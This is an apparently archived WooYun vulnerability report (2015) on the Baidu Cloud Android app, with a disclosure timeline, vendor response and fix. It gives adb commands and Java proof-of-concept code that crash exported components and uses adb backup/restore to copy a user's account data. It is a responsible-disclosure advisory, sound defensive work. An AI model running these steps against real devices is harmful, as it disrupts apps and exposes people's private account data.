漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0101464
漏洞标题:百度云网盘Android客户端存在多处安全缺陷
相关厂商:百度
漏洞作者: Nicky
提交时间:2015-03-16 16:25
修复时间:2015-06-14 17:14
公开时间:2015-06-14 17:14
漏洞类型:设计错误/逻辑缺陷
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开
简要描述:
百度云网盘Android客户端存在多处安全缺陷,可导致本地拒绝服务与用户敏感信息泄露。
详细说明:
以下漏洞均无需ROOT
1.多处本地拒绝服务
null intent引起的crash
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.push.PushMessageReceiver
adb shell am broadcast -n com.baidu.netdisk/com.baidu.cyberplayer.dlna.NetworkChangeReceiver
adb shell am start -n com.baidu.netdisk/com.baidu.sumeru.lightapp.activity.LightAppPlayerActivity
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.util.battery.BatteryMonitor
adb shell am start -n com.baidu.netdisk/com.baidu.netdisk.cloudp2p.ui.RichMediaActivity
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.p2pshare.PhoneStateReceiver
adb shell am start -n com.baidu.netdisk/com.baidu.netdisk.pim.smsmms.ui.SmsmmsBackupMain
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.module.toolbox.AppInfoBroadcatReceiver
getSerializable 异常引起的crash
1.
static class SerializableObject implements Serializable {
static final long serialVersionUID = 42L;
SerializableObject() {
super();
}
}
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.baidu.netdisk", "com.baidu.netdisk.ui.FileManagerFailedListActivity"));
intent.putExtra("test_baiduyun_wooyun", new SerializableObject());
startActivity(intent);
2.
com.baidu.android.pushservice.PushService
command:
static class SerializableObject implements Serializable {
static final long serialVersionUID = 42L;
SerializableObject() {
super();
}
}
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.baidu.netdisk", "com.baidu.android.pushservice.PushService"));
intent.putExtra("test_baiduyun_wooyun", new SerializableObject());
startService(intent);
2.allowbackup漏洞
没有配置allowbackup="false",可导致用户帐户完全被复制
备份应用数据
adb backup -nosystem -noshared -apk -f com.baidu.netdisk.ab com.baidu.netdisk
恢复数据
adb restore com.baidu.netdisk.ab
漏洞证明:
修复方案:
添加异常处理,allowbackup="false"
版权声明:转载请注明来源 Nicky@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2015-03-16 17:13
厂商回复:
感谢提交 部分风险已经通知产品线修复
最新状态:
暂无